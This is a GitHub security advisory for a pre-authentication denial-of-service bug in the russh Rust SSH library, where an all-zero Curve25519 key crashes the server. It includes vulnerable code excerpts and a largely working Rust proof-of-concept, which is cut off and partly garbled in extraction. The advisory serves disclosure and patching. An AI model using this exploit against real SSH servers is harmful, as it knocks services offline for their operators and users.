GitHub Advisoryadvisory · crates.io
GHSA-5xvq-cp9x-6p6r Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)
MEDIUM
Official page ↗
- Aliases
- CVE-2026-73430
- Ecosystem
- crates.io
- Packages
- russh
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-754
- Reviewed
- 2026-07-24
Affected packages
• crates.io russh: < 0.62.4 → fixed in 0.62.4
Description
A pre-authentication denial-of-service panic in `russh` 0.62.2 (commit
`c4be19f1915c8682f4615c3fd50008512b474491`, current default branch `main` as
of 2026-07-22). An unauthenticated client sends a single `SSH_MSG_KEX_ECDH_INIT`
whose `Q_C` is 32 zero bytes. russh's Curve25519 KEX does not reject the
all-zero peer public value, so `server_dh()` computes the all-zero shared
secret and `compute_exchange_hash()` then calls `encode_mpint(&shared.0, ...)`,
which indexes `s[i]` at `i == s.len()` and panics (`index out of bounds:
the len is 32 but the index is 32`) before host-key signature verification.
The server KEX task dies on the first KEX message, before authentication.
This is reachable with the default server configuration
(`Config::default()` → `Preferred::DEFAULT`, whose kex list includes
`curve25519-sha256`) and requires no caller-supplied parameter. It is
reproduced end-to-end against the unmodified real russh 0.62.2 library (a real
server + raw TCP client over TCP); the PoC below links the real crate, not a
copied snippet. The defect is still present on `main` HEAD (`v0.62.3`,
2026-07-22) and is not covered by any of the 11 published russh GHSA advisories
(GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not
Curve25519).
Rust bounds-checked panics abort the task safely (no memory corruption / RCE);
the impact is remote denial of service.
Details
`russh/src/kex/curve25519.rs`, `server_dh()` (server path; attacker = client):
```rust
fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result {
// only the 32-byte length is checked, NOT zero / low-order:
let mut pubkey = MontgomeryPoint([0; 32]);
pubkey.0.clone_from_slice(&payload[5..5 + 32]); // line 73
...
let shared = server_secret * client_pubkey; // all-zero when client_pubkey == [0;32]
self.shared_secret = Some(shared); // line 86
Ok(())
}
```
The server then computes the exchange hash before verifying the host-key
signature (`russh/src/server/kex.rs`):
```rust
kex.server_dh(exchange, &input.buffer)?; // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?; // line 274 — panics
```
`compute_exchange_hash()` calls `encode_mpint(&shared.0, buffer)`, whose
leading-zero skip loop advances `i` to `s.len()` and then indexes `s[i]`
(`russh/src/kex/mod.rs`):
```rust
pub(crate) fn encode_mpint(s: &[u8], w: &mut W) -> Result {
let mut i = 0;
while i SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};
const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30; // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;
[tokio::main]
async fn main() {
println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");
let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
println!();
let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;
println!("\n=== summary ===");
println!("case | server panicked | got ECDH_REPLY");
println!("ATTACK | {atk_panic: CONFIRMED (end-to-end, real russh 0.62.2):");
println!(" A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
println!(" all-zero Curve25519 point makes the real russh server panic");
println!(" inside encode_mpint (index out of bounds: len 32, index 32)");
println!(" during compute_exchange_hash, BEFORE host-key verification.");
} else {
eprintln!("NOT reproduced");
std::process::exit(1);
}
}
enum QcKind { AllZero, Random }
async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
let panicked = Arc::new(AtomicBool::new(false));
{
let flag = panicked.clone();
let prev = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
flag.store(true, Ordering::SeqCst);
eprintln!("[{label} server task panicked] {info}");
prev(info);
}));
}
// real russh server, DEFAULT config (curve25519-sha256 in the kex list)
// + real Ed25519 host key.
let mut config = server::Config::default();
config.inactivity_timeout = None;
config.auth_rejection_time = std::time::Duration::from_millis(1);
config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
config.keys.push(
russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
);
let config = Arc::new(config);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let server_task = tokio::spawn(async move {
let (socket, _peer) = listener.accept().await.unwrap();
let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
session.await
});
// raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
let mut s = TcpStream::connect(addr).await.unwrap();
s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
s.flush().await.unwrap();
let _server_id = read_ssh_id(&mut s).await.unwrap();
let _server_kexinit = read_packet(&mut s).await.unwrap();
s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
s.flush().await.unwrap();
let q_c: [u8; 32] = match qc {
QcKind::AllZero => [0u8; 32],
QcKind::Random => {
let mut b: [u8; 32] = rand::random();
if b.iter().all(|&x| x == 0) { b[0] = 1; }
b
}
};
let mut ecdh_init = Vec::new();
ecdh_init.push(…
Related
Alias · CVE (1)
- CVE-2026-73430 Russh is a Rust SSH client & server library. vulnerability
Weakness · CWE (1)
- CWE-754 Improper Check for Unusual or Exceptional Conditions weakness